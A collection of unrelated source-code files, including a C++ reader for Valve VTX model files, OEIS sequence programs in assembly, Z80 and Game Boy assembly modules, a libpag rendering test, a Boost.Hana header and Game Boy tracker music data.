currentMesh = currentModel->getMesh(i); // Process the mesh to get a geode geode = processMesh(lodNum, str, offset + lod.mesh_offset + (i * VTX_MESH_SIZE), vertexOffset); // Set the geode's state set based on the current mesh node's state // set geode->setStateSet(currentMesh->getStateSet()); // Add the geode to the group lodGroup->addChild(geode.get()); // Add the number of vertices for this mesh at this LOD to the offset, // so we can start the next mesh at the proper vertex ID vertexOffset += currentMesh->getNumLODVertices(lodNum); } // Set the distance for this LOD *distance = lod.switch_point; // Return the LOD group that we created return lodGroup; } ref_ptr<Geode> VTXReader::processMesh(int lodNum, std::istream * str, int offset, int vertexOffset) { int i; VTXMesh mesh; ref_ptr<Geode> geode; ref_ptr<Geometry> geom; // Seek to the mesh str->seekg(offset); // Read it str->read((char *) &mesh, VTX_MESH_SIZE); // Create a geode to hold the geometry geode = new Geode(); // Process the strip groups for (i = 0; i < mesh.num_strip_groups; i++) { // Process the strip group to get a Geometry geom = processStripGroup(lodNum, str, offset + mesh.strip_group_offset + (i * VTX_STRIP_GROUP_SIZE), vertexOffset); // Add the geometry to the geode geode->addDrawable(geom.get()); } // Return the geode return geode; } ref_ptr<Geometry> VTXReader::processStripGroup(int lodNum, std::istream * str, int offset, int vertexOffset) { int i; VTXStripGroup stripGroup; VTXVertex vtxVertex; int vertexID; ref_ptr<Vec3Array> vertexArray; ref_ptr<Vec3Array> normalArray; ref_ptr<Vec2Array> texcoordArray; unsigned short index; unsigned short * indexArray; ref_ptr<Geometry> geom; ref_ptr<PrimitiveSet> primSet; // Seek to the strip group str->seekg(offset); // Read it str->read((char *) &stripGroup, VTX_STRIP_GROUP_SIZE); // Create and fill the vertex arrays vertexArray = new Vec3Array(); normalArray = new Vec3Array(); texcoordArray = new Vec2Array(); str->seekg(offset + stripGroup.vertex_offset); for (i = 0; i < stripGroup.num_vertices; i++) { // Get the vertex ID from the strip group str->read((char *) &vtxVertex, VTX_VERTEX_SIZE); vertexID = vtxVertex.orig_mesh_vertex_id + vertexOffset; // Get the corresponding vertex, normal, texture coordinates from the // VVD file vertexArray->push_back(vvd_reader->getVertex(lodNum, vertexID)); normalArray->push_back(vvd_reader->getNormal(lodNum, vertexID)); texcoordArray->push_back(vvd_reader->getTexCoords(lodNum, vertexID)); } // Create the geometry and add the vertex data to it geom = new Geometry(); geom->setVertexArray(vertexArray.get()); geom->setNormalArray(normalArray.get()); geom->setNormalBinding(Geometry::BIND_PER_VERTEX); geom->setTexCoordArray(0, texcoordArray.get()); // Create and fill the index array indexArray = new unsigned short[stripGroup.num_indices]; str->seekg(offset + stripGroup.index_offset); for (i = 0; i < stripGroup.num_indices; i++) { // Get the index from the file str->read((char *) &index, sizeof(unsigned short)); // Add to the array indexArray[i] = index; } // Process the strips for (i = 0; i < stripGroup.num_strips; i++) { // Process the strip to create a triangle list or strip primSet = processStrip(indexArray, str, offset + stripGroup.strip_offset + (i * VTX_STRIP_SIZE)); // Add the primitive set to the geometry geom->addPrimitiveSet(primSet.get()); } // Clean up delete [] indexArray; // Return the geometry return geom; } ref_ptr<PrimitiveSet> VTXReader::processStrip(unsigned short * indexArray, std::istream * str, int offset) { VTXStrip strip; DrawElementsUShort * drawElements; ref_ptr<PrimitiveSet> primSet; unsigned short * start; unsigned short * end; // Seek to the strip str->seekg(offset); // Read it. We have to do this in a kind of screwy way because of the // weird byte packing. Valve uses pragma pack, but we can't do that // because it's non-portable. Of course, I'm assuming a 4-byte alignment // here, which might also be non-portable... str->read((char *) &strip, VTX_STRIP_SIZE - 8); str->read((char *) &strip.num_bone_state_changes, 8); // Get the range of indices in question from the strip start = &indexArray[strip.index_offset]; end = &indexArray[strip.index_offset + strip.num_indices]; // Create the primitive set (based on the flag) if (strip.strip_flags & STRIP_IS_TRI_LIST) drawElements = new DrawElementsUShort(PrimitiveSet::TRIANGLES, start, end); else drawElements = new DrawElementsUShort(PrimitiveSet::TRIANGLE_STRIP, start, end); // Flip the indices to get the front faces correct std::reverse(drawElements->begin(), drawElements->end()); // Return the primitive set primSet = drawElements; return primSet; } bool VTXReader::readFile(const std::string & file) { osgDB::ifstream * vtxFile; VTXHeader header; int i; BodyPart * currentPart; ref_ptr<Group> partGroup; Group * rootGroup; // Remember the map name vtx_name = getStrippedName(file); vtxFile = new osgDB::ifstream(file.c_str(), std::ios::binary); if (!vtxFile || vtxFile->fail()) { notify(NOTICE) << "Vertex index file not found" << std::endl; return false; } // Read the header vtxFile->read((char *) &header, sizeof(VTXHeader)); // Make sure the version is one that we handle // TODO: Not sure which versions are valid yet // Create the root group rootGroup = new Group(); // Process the body parts for (i = 0; i < header.num_body_parts; i++) { // Get the corresponding body part from the MDL tree currentPart = mdl_root->getBodyPart(i); // Process the body part partGroup = processBodyPart(vtxFile, header.body_part_offset + (i * sizeof(VTXBodyPart)), currentPart); // Add the result to the root group rootGroup->addChild(partGroup.get()); } // Set the model's root node model_root = rootGroup; // Close the file vtxFile->close(); delete vtxFile; return true; } ref_ptr<Node> VTXReader::getModel() { return model_root; }
; A327707: The minimal size of a partition lambda of n such that every partition of n with at most 7 parts can be obtained by coalescing the parts of lambda. ; 1,2,3,4,5,6,7,7,8,8,9,9,10,10,10,11,11,11,12,12,12,12,13,13,13,13,14,14,14,14,14,15,15,15,15,15,15,16,16,16,16,16,16,16,17,17,17,17,17,17,17,17,18,18,18,18,18,18,18,18,18,19,19,19,19,19,19,19,19,19,19,19,20,20,20,20 lpb $0 mul $0,6 sub $0,1 div $0,7 add $1,1 lpe add $1,1
; ; Copyright (C) 2021 Louis Hobson <louis-hobson@hotmail.co.uk>. All Rights Reserved. ; ; Distributed under MIT licence as a part of a cellular automaton project. ; For details, see: https://github.com/louishobson/GameOfLife/blob/master/LICENSE ; ; World.asm ; ; Contains functions for interfacing with the current world(s). ; Include macros #include "Macros.asm" ; A function to get the world byte location from cursor coordinates stored in de. ; The world location is stored in hl, and the a is set to the bitmask for the correct bit of the world byte. GET_WORLD_BYTE_LOCATION: ; Set hl to ix push ix pop hl ; We want (upper of ix) 0 Y4 Y3 Y2 Y1 Y0 X4 X3. ; Sort out the Ys first. Store them in l. ld a,d rlca rlca ld l,a ; Copy X0-X2 into d temporarily. ld a,e and %00000111 ld d,a ; Shift X right and or it with the Ys and we are done. ; Copy the result into l. ld a,e and %11111000 rrca rrca rrca or l ld l,a ; Now we produce the mask. ; While decrementing d is non-negative, rotate a right. ld a,%00000001 GET_WORLD_BYTE_LOCATION_MASK_LOOP: rrca dec d jp p,GET_WORLD_BYTE_LOCATION_MASK_LOOP ; Return ret ; A function to fill the current world, pointed to by ix. ; Fills each byte with the contents of a. ; Modifies hl and b FILL_WORLD: ; Set hl to the current world position. push ix pop hl ; Write into the world ld b,96 FILL_WORLD_LOOP: ld (hl),a inc hl djnz FILL_WORLD_LOOP ; Return ret ; This function reloads a world onto the screen. ; The world pointed to by ix is loaded. ; Modifies bc and hl. DISPLAY_WORLD: ; Wait for the frame to write halt ; Set hl to the position of the first screen attribute ld hl,ATTRIBUTE_DATA ; Loop through all bytes to display the world. ; Set b to count through the bytes. ld b,96 DISPLAY_WORLD_LOOP: ; Load the next byte into c and complement it. ld a,(ix+0) cpl ld c,a ; Iterate over the bits in c and set the attributes sla c sbc a,a ld (hl),a inc hl sla c sbc a,a ld (hl),a inc hl sla c sbc a,a ld (hl),a inc hl sla c sbc a,a ld (hl),a inc hl sla c sbc a,a ld (hl),a inc hl sla c sbc a,a ld (hl),a inc hl sla c sbc a,a ld (hl),a inc hl sla c sbc a,a ld (hl),a inc hl ; Increment ix inc ix ; Now loop to the next byte of the world djnz DISPLAY_WORLD_LOOP ; Reset ix ld bc,65536-96 add ix,bc ; Return ret ; Include the next generation code #include "NextGeneration.asm"
; L0602.asm ; Generated 10.25.2000 by mlevel ; Modified 10.25.2000 by Abe Pralle INCLUDE "Source/Defs.inc" INCLUDE "Source/Levels.inc" VAR_FIRE EQU 0 FIRE_INDEX EQU 24 ;--------------------------------------------------------------------- SECTION "Level0602Section",ROMX ;--------------------------------------------------------------------- L0602_Contents:: DW L0602_Load DW L0602_Init DW L0602_Check DW L0602_Map ;--------------------------------------------------------------------- ; Load ;--------------------------------------------------------------------- L0602_Load: DW ((L0602_LoadFinished - L0602_Load2)) ;size L0602_Load2: call ParseMap ret L0602_LoadFinished: ;--------------------------------------------------------------------- ; Map ;--------------------------------------------------------------------- L0602_Map: INCBIN "Data/Levels/L0602_hillpeople.lvl" ;--------------------------------------------------------------------- ; Init ;--------------------------------------------------------------------- L0602_Init: DW ((L0602_InitFinished - L0602_Init2)) ;size L0602_Init2: ;store index of first (of 4) fire frames ld a,[bgTileMap + FIRE_INDEX] ld [levelVars + VAR_FIRE],a ret L0602_InitFinished: ;--------------------------------------------------------------------- ; Check ;--------------------------------------------------------------------- L0602_Check: DW ((L0602_CheckFinished - L0602_Check2)) ;size L0602_Check2: call ((.animateFire-L0602_Check2)+levelCheckRAM) ret .animateFire ldio a,[updateTimer] rrca rrca and %11 ld hl,levelVars + VAR_FIRE add [hl] ld [bgTileMap + FIRE_INDEX],a ret L0602_CheckFinished: PRINT "0602 Script Sizes (Load/Init/Check) (of $500): " PRINT (L0602_LoadFinished - L0602_Load2) PRINT " / " PRINT (L0602_InitFinished - L0602_Init2) PRINT " / " PRINT (L0602_CheckFinished - L0602_Check2) PRINT "\n"
///////////////////////////////////////////////////////////////////////////////////////////////// // // Tencent is pleased to support the open source community by making libpag available. // // Copyright (C) 2021 THL A29 Limited, a Tencent company. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file // except in compliance with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // unless required by applicable law or agreed to in writing, software distributed under the // license is distributed on an "as is" basis, without warranties or conditions of any kind, // either express or implied. see the license for the specific language governing permissions // and limitations under the license. // ///////////////////////////////////////////////////////////////////////////////////////////////// #include "TestUtils.h" #include "framework/pag_test.h" #include "framework/utils/PAGTestUtils.h" namespace pag { PAG_TEST_CASE(PAGGradientColorTest) /** * 用例描述: 渐变 */ PAG_TEST_F(PAGGradientColorTest, GradientColor_ID84028439) { std::vector<std::string> files; GetAllPAGFiles("../resources/gradient", files); for (auto& file : files) { auto pagFile = PAGFile::Load(file); EXPECT_NE(pagFile, nullptr); TestPAGPlayer->setComposition(pagFile); TestPAGPlayer->setProgress(0.5); TestPAGPlayer->flush(); std::filesystem::path path(file); auto key = path.filename().replace_extension(); EXPECT_TRUE(Baseline::Compare(TestPAGSurface, "PAGGradientColorTest/" + key.string())); } } } // namespace pag
; A017497: a(n) = 11*n + 9. ; 9,20,31,42,53,64,75,86,97,108,119,130,141,152,163,174,185,196,207,218,229,240,251,262,273,284,295,306,317,328,339,350,361,372,383,394,405,416,427,438,449,460,471,482,493,504,515,526,537,548,559,570,581,592,603,614,625,636,647,658,669,680,691,702,713,724,735,746,757,768,779,790,801,812,823,834,845,856,867,878,889,900,911,922,933,944,955,966,977,988,999,1010,1021,1032,1043,1054,1065,1076,1087,1098,1109,1120,1131,1142,1153,1164,1175,1186,1197,1208,1219,1230,1241,1252,1263,1274,1285,1296,1307,1318,1329,1340,1351,1362,1373,1384,1395,1406,1417,1428,1439,1450,1461,1472,1483,1494,1505,1516,1527,1538,1549,1560,1571,1582,1593,1604,1615,1626,1637,1648,1659,1670,1681,1692,1703,1714,1725,1736,1747,1758,1769,1780,1791,1802,1813,1824,1835,1846,1857,1868,1879,1890,1901,1912,1923,1934,1945,1956,1967,1978,1989,2000,2011,2022,2033,2044,2055,2066,2077,2088,2099,2110,2121,2132,2143,2154,2165,2176,2187,2198,2209,2220,2231,2242,2253,2264,2275,2286,2297,2308,2319,2330,2341,2352,2363,2374,2385,2396,2407,2418,2429,2440,2451,2462,2473,2484,2495,2506,2517,2528,2539,2550,2561,2572,2583,2594,2605,2616,2627,2638,2649,2660,2671,2682,2693,2704,2715,2726,2737,2748 mov $1,$0 mul $1,11 add $1,9
; stdio_out_ld ; 05.2008 aralbrec PUBLIC stdio_out_ld EXTERN stdio_longnumprec, stdio_outcommon, stdio_nextarg EXTERN l_int2long_s, l_long_neg EXTERN LIBDISP_STDIO_OUTCOMMON_SIGNED INCLUDE "../../stdio.def" ; output %ld parameter, handles both 16-bit %d and 32-bit %ld ; ; enter : ix = FILE * ; a = precision (default 1) ; b = width (default 0) ; c = flags [-+ O#PLN] ; de = 16-bit parameter (most significant word if long) ; hl = & parameter list ; bc' = total num chars output on stream thus far ; carry flag reset (important for %x, %lx) ; stack = output buffer, ptr in format string, ret ; on exit : bc' = total num chars output on stream thus far ; hl = & parameter list ; carry set if error on stream, ERRNO set appropriately ; uses : af, bc, de, hl, exx, bc' .stdio_out_ld bit 1,c ; check if %ld or %d jr nz, long push hl ; save & parameter list push af ; save precision ex de,hl ; only doing integer so form long in dehl call l_int2long_s ; sign extend hl into dehl jr checksign .long push de ; save most sig 16-bits call stdio_nextarg ; get next 16-bit word from parameter list ex (sp),hl ; save & parameter list ex de,hl ; dehl = long push af ; save precision .checksign bit 0,c call nz, l_long_neg ; get magnitude if negative pop af ; a = precision ; b = width ; c = flags [-+ O#PLN] ; dehl = unsigned integer push ix ; save output function push bc ; save width and flags ld bc,10 ; num chars in buffer = 0, radix = 10 ld ix,STDIO_TEMPBUFSIZE + 9 add ix,sp ; ix = & last char in temporary buffer call stdio_longnumprec ; write number to buffer including precision digits pop hl ld e,ixl ld d,ixh ex de,hl pop ix ; b = num chars written to buffer ; d = width ; e = flags [-+ O#PLN] ; hl = & next free position in destination buffer inc b ; no digits written to buffer means precision and integer == 0 djnz adjwidth ld e,0 ; in this case clear sign and zero-pad flags so they aren't printed too .adjwidth call stdio_outcommon + LIBDISP_STDIO_OUTCOMMON_SIGNED pop hl ; hl = & parameter list ret
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: ms3Manager.asm AUTHOR: Adam de Boor, March 19, 1992 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 3/19/92 Initial revision DESCRIPTION: The thing what gets assembled. $Id: ms3Manager.asm,v 1.1 97/04/10 11:54:56 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ _MS3 equ TRUE ; define the version of DOS driven by this ; driver. include dosGeode.def include ms3Interface.def ;include ms3Macro.def ;include ms3Constant.def include dosConstant.def include dosMacro.def ;------------------------------------------------------------------------------ ; Variables ;------------------------------------------------------------------------------ include dosStrings.asm include dosVariable.def include ms3Strings.asm include msVariable.def include ms3Variable.def ;------------------------------------------------------------------------------ ; Code ;------------------------------------------------------------------------------ include dosEntry.asm ; strategy & administrative gradoo include dosDisk.asm ; DR_FS_DISK* implementation include dosDrive.asm ; DR_FS_DRIVE* implementation include msDrive.asm ; MS3-specific support routines for same include dosPath.asm ; DR_FS_CUR_PATH* implementation ; DR_FS_ALLOC_OP ; DR_FS_PATH_OP include dosEnum.asm ; DR_FS_FILE_ENUM implementation include dosFormat.asm ; DR_FS_DISK_FORMAT include dosFormatInit.asm include dosDiskCopy.asm ; DR_FS_DISK_COPY include dosIO.asm ; DR_FS_HANDLE_OP include dosPrimary.asm ; Primary FSD responsibilities include dosInitExit.asm ; version-independent initialization include msInitExit.asm ; Initialization/exit routines. include dosCritical.asm ; Critical-error handler include dosUtils.asm ; Random utility things. include dosVirtual.asm ; Virtual namespace support include dosWaitPost.asm ; Wait/post support. include msSFT.asm ; MS-DOS SFT utility routines include dosSuspend.asm ; DR_SUSPEND/DR_UNSUSPEND include dosLink.asm ; links include dosIdle.asm ; Idle-time notification include dosFileChange.asm ; File-change notification if DBCS_PCGEOS include dosConvert.asm ; DOS/GEOS string conversion include dosCMapUS.asm ; US Code Page (437) ifdef SJIS_SUPPORT include dosConstantSJIS.def ; constants for SJIS support include dosConvertSJIS.asm ; code for SJIS support include dosCMapSJIS.asm ; map for SJIS support endif endif
; void z80_delay_ms_fastcall(uint ms) SECTION code_clib SECTION code_z80 PUBLIC _z80_delay_ms_fastcall EXTERN asm_z80_delay_ms defc _z80_delay_ms_fastcall = asm_z80_delay_ms
#include<iostream> #include<algorithm> int N; int dp[1000001]; int myeok(int a); int main() { std::cin >> N; dp[1] = 1; } int myeok(int a) { if (dp[a] != 0) { return dp[a]; } else {
// Copyright (c) Improbable Worlds Ltd, All Rights Reserved #include "SpatialOSEditorToolbarSettings.h" USpatialOSEditorToolbarSettings::USpatialOSEditorToolbarSettings( const FObjectInitializer& ObjectInitializer) : SpatialOSLaunchArgument(TEXT("default_launch.json")) , bStopSpatialOnExit(false) , Super(ObjectInitializer) { ProjectRootFolder.Path = FPaths::ConvertRelativePathToFull( FPaths::GetPath(FPaths::GetProjectFilePath()) + FString(TEXT("/../../../"))); } FString USpatialOSEditorToolbarSettings::ToString() { TArray<FStringFormatArg> Args; Args.Add(ProjectRootFolder.Path); Args.Add(SpatialOSLaunchArgument); Args.Add(bStopSpatialOnExit); return FString::Format( TEXT("ProjectRootFolder={0}, SpatialOSLaunchArgument={1}, bStopSpatialOnExit={2}"), Args); }
/*! @file Forward declares `boost::hana::zip`. @copyright Louis Dionne 2015 Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE.md or copy at http://boost.org/LICENSE_1_0.txt) */ #ifndef BOOST_HANA_FWD_ZIP_HPP #define BOOST_HANA_FWD_ZIP_HPP #include <boost/hana/core/when.hpp> namespace boost { namespace hana { //! Zip one sequence or more. //! @relates Sequence //! //! Given `n` sequences `s1, ..., sn`, `zip` produces a sequence whose //! `i`-th element is a tuple of `(s1[i], ..., sn[i])`, where `sk[i]` //! denotes the `i`-th element of the `k`-th sequence. In other words, //! `zip` produces a sequence of the form //! @code //! [ //! make_tuple(s1[0], ..., sn[0]), //! make_tuple(s1[1], ..., sn[1]), //! ... //! make_tuple(s1[M], ..., sn[M]) //! ] //! @endcode //! where `M` is the length of the sequences, which are all assumed to //! have the same length. Assuming the sequences to all have the same size //! allows the library to perform some optimizations. To zip sequences //! that may have different lengths, `zip_shortest` should be used //! instead. Also note that it is an error to provide no sequence at all, //! i.e. `zip` expects at least one sequence. //! //! //! Example //! ------- //! @include example/zip.cpp #ifdef BOOST_HANA_DOXYGEN_INVOKED constexpr auto zip = [](auto&& x1, ..., auto&& xn) { return tag-dispatched; }; #else template <typename S, typename = void> struct zip_impl : zip_impl<S, when<true>> { }; struct zip_t { template <typename Xs, typename ...Ys> constexpr auto operator()(Xs&& xs, Ys&& ...ys) const; }; constexpr zip_t zip{}; #endif }} // end namespace boost::hana #endif // !BOOST_HANA_FWD_ZIP_HPP
.386 .model flat .data num1 dword 11111111h num2 dword 10101010h ans dword 0 .code start proc mov eax, num1 add eax, num2 mov ans, eax ret start endp end start
global test_case extern Array.sliceq extern Array.eachq extern std.outq extern std.outln extern sys.error %include "Array.inc" section .text test_case: mov rax, test_arrayq ; Array to slice mov rbx, 2 ; at offset 2 call Array.sliceq ; slice into two arrays push qword[rax+Array.length] ; preserve length mov rbx, std.outq ; fn to call call Array.eachq ; print values from array mov rax, empty_str ; empty message call std.outln ; end line pop rax ; restore length call sys.error ; exit with array length section .data test_qwords: dq 0x1, 0x2, 0x3 empty_str: db 0x0 test_arrayq: istruc Array at Array.pdata, dq test_qwords at Array.length, dq 3 iend
section ".data" xdef pSnd_SetTempo_voice2 pSnd_SetTempo_voice2: moveq #1,d2 bsr pSnd__SetTempo_ rts
;/*! ; @file ; ; @ingroup fapi ; ; @brief BmsSetEventMask DOS wrapper ; ; (c) osFree Project 2021, <http://www.osFree.org> ; for licence see licence.txt in root directory, or project website ; ; This is Family API implementation for DOS, used with BIND tools ; to link required API ; ; @author Yuri Prokushev (yuri.prokushev@gmail.com) ; ;*/ .8086 ; Helpers INCLUDE helpers.inc _TEXT SEGMENT BYTE PUBLIC 'CODE' USE16 @BMSPROLOG BMSSETEVENTMASK MOUHANDLE DW ? ;MOUSE HANDLE EVENTMASK DD ? ; @BMSSTART BMSSETEVENTMASK ; code here @BMSEPILOG BMSSETEVENTMASK _TEXT ENDS END
; ******************************************************** ; Music Bank ; ; created with Beyond Gameboy Tracker ; ******************************************************** ; ************************ Pattern Streams ******************* SECTION "Ms11spaceP0", ROMX PATTERN_s11space0: DB $0A DB $03, $03, $F0, $01, $29, $04, $05, $00, $03, $F1, $01, $00, $3D, $11, $70, $02, $01, $30, $32, $02, $B7, $0C, $02, $2B, $0C, $02, $02, $0C, $01, $30, $96, $0B DB $03, $21, $01, $00, $3D, $03, $13, $02, $0B, $0B, $11, $5C, $00, $03, $B0, $01, $13, $A8, $03, $F1, $01, $00, $3D, $01, $30, $32, $03, $83, $02, $0B, $0C, $03 DB $80, $01, $13, $AC, $01, $00, $41, $01, $30, $36, $03, $83, $02, $0F, $0C, $03, $B0, $01, $13, $B0, $01, $00, $45, $01, $30, $3A, $03, $93, $02, $13, $0C, $01 DB $30, $96, $0B, $02, $01, $0B, $01, $30, $2E, $02, $2B, $0C, $03, $11, $01, $00, $3D, $0B, $03, $21, $01, $00, $3D, $0B, $03, $F0, $01, $1D, $04, $05, $00, $03 DB $F1, $01, $00, $3D, $01, $30, $32, $02, $B7, $0B, $02, $01, $0B, $03, $50, $01, $1D, $50, $01, $00, $3D, $01, $30, $32, $02, $2B, $0B, $02, $01, $0B, $03, $E0 DB $01, $1D, $04, $01, $00, $3D, $01, $30, $32, $02, $2B, $0C, $11, $5C, $00, $03, $80, $01, $13, $AC, $01, $00, $41, $01, $30, $36, $0C, $03, $B0, $01, $13, $B0 DB $01, $00, $45, $01, $30, $3A, $03, $A3, $02, $13, $0C, $01, $30, $96, $0B, $02, $01, $0B, $01, $18, $04, $05, $00, $03, $F1, $01, $00, $3D, $11, $60, $02, $01 DB $30, $32, $02, $B7, $0C, $02, $2B, $0C, $11, $5C, $00, $03, $20, $01, $13, $A8, $03, $11, $01, $00, $3D, $02, $02, $0B, $03, $30, $01, $13, $A8, $03, $21, $01 DB $00, $3D, $0B, $03, $40, $01, $13, $A8, $03, $31, $01, $00, $3D, $01, $30, $96, $0B, $03, $50, $01, $13, $A8, $03, $41, $01, $00, $3D, $03, $13, $02, $0B, $0B DB $03, $B0, $01, $13, $A8, $03, $F1, $01, $00, $3D, $01, $30, $32, $03, $83, $02, $0B, $0C, $03, $80, $01, $13, $AC, $01, $00, $41, $01, $30, $36, $03, $83, $02 DB $0F, $0C, $03, $B0, $01, $13, $B0, $01, $00, $45, $01, $30, $3A, $03, $93, $02, $13, $0C, $01, $30, $96, $0C, $02, $01, $01, $30, $2E, $02, $2B, $0E, $01, $18 DB $50, $05, $00, $03, $F1, $01, $00, $3D, $01, $30, $32, $02, $B7, $0B, $02, $01, $0B, $11, $5C, $00, $03, $60, $01, $13, $A8, $01, $00, $3D, $01, $30, $32, $02 DB $2B, $0B, $02, $01, $0B, $03, $B0, $01, $13, $A8, $01, $00, $3D, $01, $30, $32, $02, $2B, $0C, $03, $80, $01, $13, $AC, $01, $00, $41, $01, $30, $36, $0C, $03 DB $B0, $01, $13, $B0, $01, $00, $45, $01, $30, $3A, $03, $A3, $02, $13, $0C, $01, $30, $96, $0B, $02, $01, $00, $02, $07 SECTION "Ms11spaceP1", ROMX PATTERN_s11space1: DB $0A DB $03, $03, $E0, $01, $29, $04, $05, $00, $03, $F1, $01, $00, $3D, $11, $40, $02, $01, $30, $32, $02, $B7, $0C, $02, $2B, $0C, $02, $02, $0C, $01, $30, $96, $0B DB $03, $61, $01, $00, $3D, $03, $13, $02, $0B, $0B, $11, $5C, $00, $03, $B0, $01, $13, $A8, $03, $F1, $01, $00, $3D, $01, $30, $32, $03, $83, $02, $0B, $0C, $03 DB $80, $01, $13, $AC, $01, $00, $41, $01, $30, $36, $03, $83, $02, $0F, $0C, $03, $B0, $01, $13, $B0, $01, $00, $45, $01, $30, $3A, $03, $93, $02, $13, $0C, $01 DB $30, $96, $0B, $11, $40, $01, $01, $0C, $15, $0B, $01, $30, $2E, $02, $2B, $0E, $03, $E0, $01, $1D, $04, $05, $00, $03, $F1, $01, $00, $3D, $05, $01, $01, $30 DB $32, $02, $B7, $0B, $02, $01, $0B, $03, $30, $01, $1D, $50, $01, $00, $3D, $01, $30, $32, $0B, $02, $01, $0B, $03, $E0, $01, $1D, $04, $01, $00, $3D, $01, $30 DB $32, $02, $2B, $0C, $11, $5C, $00, $03, $80, $01, $13, $AC, $01, $00, $41, $01, $30, $36, $0C, $03, $B0, $01, $13, $B0, $01, $00, $45, $01, $30, $3A, $03, $93 DB $02, $13, $0C, $01, $30, $96, $0B, $02, $01, $0B, $01, $18, $04, $05, $00, $03, $F1, $01, $00, $3D, $01, $30, $32, $02, $B7, $0C, $02, $2B, $0C, $11, $5C, $00 DB $03, $20, $01, $13, $A8, $03, $11, $01, $00, $3D, $02, $02, $0B, $03, $30, $01, $13, $A8, $03, $21, $01, $00, $3D, $0B, $03, $40, $01, $13, $A8, $03, $31, $01 DB $00, $3D, $01, $30, $96, $0B, $03, $50, $01, $13, $A8, $03, $41, $01, $00, $3D, $03, $13, $02, $0B, $0B, $03, $B0, $01, $13, $A8, $03, $F1, $01, $00, $3D, $01 DB $30, $32, $03, $83, $02, $0B, $0C, $03, $80, $01, $13, $AC, $01, $00, $41, $01, $30, $36, $03, $83, $02, $0F, $0C, $03, $B0, $01, $13, $B0, $01, $00, $45, $01 DB $30, $3A, $03, $93, $02, $13, $0C, $01, $30, $96, $0B, $11, $40, $01, $01, $0C, $15, $0B, $01, $30, $2E, $02, $2B, $0E, $11, $01, $00, $01, $1D, $90, $03, $F1 DB $01, $00, $3D, $05, $01, $01, $30, $32, $05, $02, $02, $B7, $0B, $02, $00, $02, $01, $02, $02, $0B, $01, $1D, $90, $01, $00, $3D, $01, $30, $32, $02, $B7, $0B DB $02, $00, $02, $01, $02, $02, $0B, $01, $1D, $90, $01, $00, $3D, $11, $60, $02, $01, $30, $32, $02, $2B, $0C, $01, $1A, $98, $01, $00, $41, $01, $30, $36, $0C DB $01, $11, $9C, $01, $00, $45, $01, $30, $3A, $03, $A3, $02, $13, $0C, $01, $30, $96, $0B, $02, $01, $00, $02, $07 SECTION "Ms11spaceP2", ROMX PATTERN_s11space2: DB $0A DB $03, $03, $60, $01, $00, $18, $05, $00, $01, $22, $89, $05, $01, $03, $22, $01, $18, $7A, $05, $02, $02, $2B, $0B, $01, $22, $85, $0B, $01, $24, $89, $0B, $01 DB $1F, $85, $0B, $03, $50, $01, $0C, $18, $01, $24, $89, $0B, $01, $22, $85, $0B, $01, $1F, $89, $0B, $01, $24, $85, $0B, $01, $27, $89, $02, $2B, $0B, $01, $24 DB $85, $0B, $01, $26, $89, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $0B, $01, $27, $85, $0B, $01, $1F, $89, $0B, $01, $26, $85, $0B, $03, $60, $01 DB $00, $18, $01, $22, $89, $02, $2B, $0B, $01, $22, $85, $0B, $01, $24, $89, $0B, $01, $1F, $85, $0B, $03, $50, $01, $0C, $18, $01, $24, $89, $0B, $01, $22, $85 DB $0B, $01, $1F, $89, $0B, $01, $24, $85, $0B, $01, $27, $89, $02, $2B, $0B, $01, $24, $85, $0B, $01, $26, $89, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22 DB $89, $0B, $01, $27, $85, $0B, $01, $1F, $89, $0B, $01, $26, $85, $0B, $03, $60, $01, $00, $18, $01, $22, $89, $02, $2B, $0B, $01, $22, $85, $0B, $01, $24, $89 DB $0B, $01, $1F, $85, $0B, $03, $50, $01, $0C, $18, $01, $24, $89, $0B, $01, $22, $85, $0B, $01, $1F, $89, $0B, $01, $24, $85, $0B, $01, $27, $89, $02, $2B, $0B DB $01, $24, $85, $0B, $01, $26, $89, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $0B, $01, $27, $85, $0B, $01, $1F, $89, $0B, $01, $26, $85, $0B, $03 DB $60, $01, $00, $18, $01, $22, $89, $01, $0C, $76, $02, $2B, $0B, $01, $22, $85, $0B, $01, $24, $89, $0B, $01, $1F, $85, $0B, $03, $50, $01, $0C, $18, $01, $24 DB $89, $0B, $01, $22, $85, $0B, $01, $1F, $89, $0B, $01, $24, $85, $0B, $01, $27, $89, $02, $2B, $0B, $01, $24, $85, $0B, $01, $26, $89, $0B, $01, $1F, $85, $0B DB $01, $0C, $1C, $01, $22, $89, $0B, $01, $27, $85, $0B, $01, $1F, $89, $0B, $01, $26, $85, $00, $02, $07 SECTION "Ms11spaceP3", ROMX PATTERN_s11space3: DB $0A DB $03, $03, $60, $01, $00, $18, $05, $00, $01, $22, $89, $02, $02, $02, $2B, $0B, $01, $22, $85, $0B, $01, $24, $89, $0B, $01, $1F, $85, $0B, $03, $00, $01, $0C DB $18, $01, $24, $89, $0B, $01, $22, $85, $0B, $01, $1F, $89, $0B, $01, $24, $85, $0B, $01, $27, $89, $02, $2B, $0B, $01, $24, $85, $0B, $01, $26, $89, $0B, $01 DB $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $0B, $01, $27, $85, $0B, $01, $1F, $89, $0B, $01, $26, $85, $0B, $03, $60, $01, $00, $18, $01, $22, $89, $02, $2B DB $0B, $01, $22, $85, $0B, $01, $24, $89, $0B, $01, $1F, $85, $0B, $03, $50, $01, $0C, $18, $01, $24, $89, $0B, $01, $22, $85, $0B, $01, $1F, $89, $0B, $01, $24 DB $85, $0B, $01, $27, $89, $02, $2B, $0B, $01, $24, $85, $0B, $01, $26, $89, $0B, $01, $1F, $85, $0B, $01, $0C, 